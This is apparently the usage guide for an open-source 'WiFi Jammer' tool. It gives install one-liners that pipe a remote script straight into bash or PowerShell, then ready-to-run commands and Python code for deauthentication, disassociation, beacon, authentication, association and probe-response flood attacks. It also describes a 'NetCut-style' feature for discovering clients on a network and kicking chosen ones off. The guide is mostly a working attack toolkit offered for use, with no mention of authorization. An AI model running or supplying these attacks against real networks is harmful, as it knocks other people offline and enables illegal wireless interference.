Usage Guide

Complete guide to installing and using WiFi Jammer on different platforms and interfaces.

Installation

macOS (Automated Setup)

The automated setup script handles everything for you:

git clone https://github.com/oyi77/wifi-jammer.git
cd wifi-jammer
bash install.sh
# or for quick install:
bash quick_install.sh

This automatically:

One-liner Installation (All Platforms)

# Linux/macOS
curl -sSL https://raw.githubusercontent.com/oyi77/wifi-jammer/main/quick_install.sh | bash

# Windows (PowerShell)
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/oyi77/wifi-jammer/main/quick_install.sh" -UseBasicParsing).Content

Manual Installation

git clone https://github.com/oyi77/wifi-jammer.git
cd wifi-jammer
bash install.sh
Note: After installation, you may need to run with sudo for full functionality, especially for attacks.

Interface Selection

WiFi Jammer offers three interfaces to suit different preferences:

1. Command-Line Interface (CLI)

Traditional terminal-based interface with rich output and progress bars.

2. Text User Interface (TUI)

Modern, interactive terminal interface built with Textual framework.

sudo wifi-jammer --tui
# or
sudo ./wifi-jammer.sh attack --tui

3. Graphical User Interface (GUI)

Cross-platform Qt-based graphical interface for Windows, macOS, and Linux.

sudo wifi-jammer --gui
# or
sudo wifi-jammer-gui
# or
sudo ./venv/bin/python3 -m wifi_jammer.gui

Command-Line Usage

Network Scanning

Scan for available WiFi networks:

# Using wrapper script
./wifi-jammer.sh scan

# Using installed command
wifi-jammer scan

# With specific interface
./wifi-jammer.sh scan --interface en0

# With specific channel
./wifi-jammer.sh scan --interface en0 --channel 6

Launching TUI

# Using wrapper script
sudo ./wifi-jammer.sh attack --tui

# Using installed command
sudo wifi-jammer attack --tui

Launching GUI

# Using wrapper script
sudo ./wifi-jammer.sh attack --gui

# Using installed command
sudo wifi-jammer --gui
sudo wifi-jammer-gui

Direct Attack

Launch an attack directly from the command line:

# Using wrapper script
sudo ./wifi-jammer.sh attack --interface en0 --target 00:11:22:33:44:55 --attack deauth

# Using installed command
sudo wifi-jammer attack --interface en0 --target 00:11:22:33:44:55 --attack deauth

# With additional options
sudo wifi-jammer attack \
    --interface en0 \
    --target 00:11:22:33:44:55 \
    --attack deauth \
    --count 100 \
    --delay 0.1 \
    --channel 6

Scan Only (No Attack)

sudo ./wifi-jammer.sh --scan-only

Available Attack Types

Attack Type Description Use Case
deauth Deauthentication attack Disconnect clients from access point
disassoc Disassociation attack Disassociate clients from network
beacon_flood Beacon flood attack Flood network with fake access points
auth_flood Authentication flood attack Overwhelm access point with auth requests
assoc_flood Association flood attack Overwhelm access point with association requests
probe_response Probe response flood attack Flood network with probe responses

Client Discovery & Selective Kicking

WiFi Jammer includes built-in NetCut-style functionality for discovering and selectively kicking clients.

Discovering Connected Clients

sudo ./wifi-jammer.sh --interface en0
# Select your target network
# Choose deauth attack
# Answer "yes" when asked to discover clients

The tool will:

  1. 🔍 Scan for 30 seconds to discover all connected devices
  2. 📋 Show you a list of discovered clients (excluding your device)
  3. 🎯 Let you select specific clients to kick OR kick all
  4. ⚡ Send targeted deauth packets to only those clients
  5. 💻 Keep you connected while others are kicked

Standalone NetCut Tool

For a dedicated NetCut experience:

sudo python3 tools/netcut.py
Note: The NetCut tool requires you to be connected to the target WiFi network first.

Command-Line Options

Option Short Description
--interface -i Wireless interface to use (e.g., en0, wlan0)
--target -t Target BSSID (MAC address)
--attack -a Attack type (deauth, disassoc, beacon_flood, etc.)
--count -c Number of packets to send (0 for unlimited)
--delay -d Delay between packets in seconds
--channel -ch Channel to use
--verbose -v Verbose output
--gui Launch Qt GUI
--tui Launch modern TUI

Programmatic Usage

You can also use WiFi Jammer programmatically in your Python scripts:

Example: Scan and Attack

from wifi_jammer.core.interfaces import AttackType, AttackConfig
from wifi_jammer.scanner import ScapyNetworkScanner
from wifi_jammer.factory import AttackFactory
from wifi_jammer.utils import RichLogger

# Initialize components
logger = RichLogger()
scanner = ScapyNetworkScanner(logger)
factory = AttackFactory()

# Get available interfaces
interfaces = scanner.get_interface_list()
interface = interfaces[0]  # Use first available

# Scan for networks
networks = scanner.scan_networks(interface)

# Select target network
target_network = networks[0]

# Create attack configuration
config = AttackConfig(
    attack_type=AttackType.DEAUTH,
    target_bssid=target_network.bssid,
    target_ssid=target_network.ssid,
    channel=target_network.channel,
    interface=interface,
    count=10,  # Send 10 packets
    delay=0.5,  # 0.5 second delay
    verbose=True
)

# Create and execute attack
attack = factory.create_attack(AttackType.DEAUTH)
if attack.execute(config):
    logger.success("Attack started successfully!")
    # ... let it run ...
    attack.stop()

Example: Beacon Flood

config = AttackConfig(
    attack_type=AttackType.BEACON_FLOOD,
    target_bssid="",  # Not needed for beacon flood
    interface="wlan0",
    count=50,
    delay=0.1,
    verbose=True
)

attack = factory.create_attack(AttackType.BEACON_FLOOD)
if attack.execute(config):
    # Run for 10 seconds
    import time
    time.sleep(10)
    attack.stop()
Important: All programmatic usage examples require root privileges. Make sure to run your scripts with sudo.

Requirements

Dependencies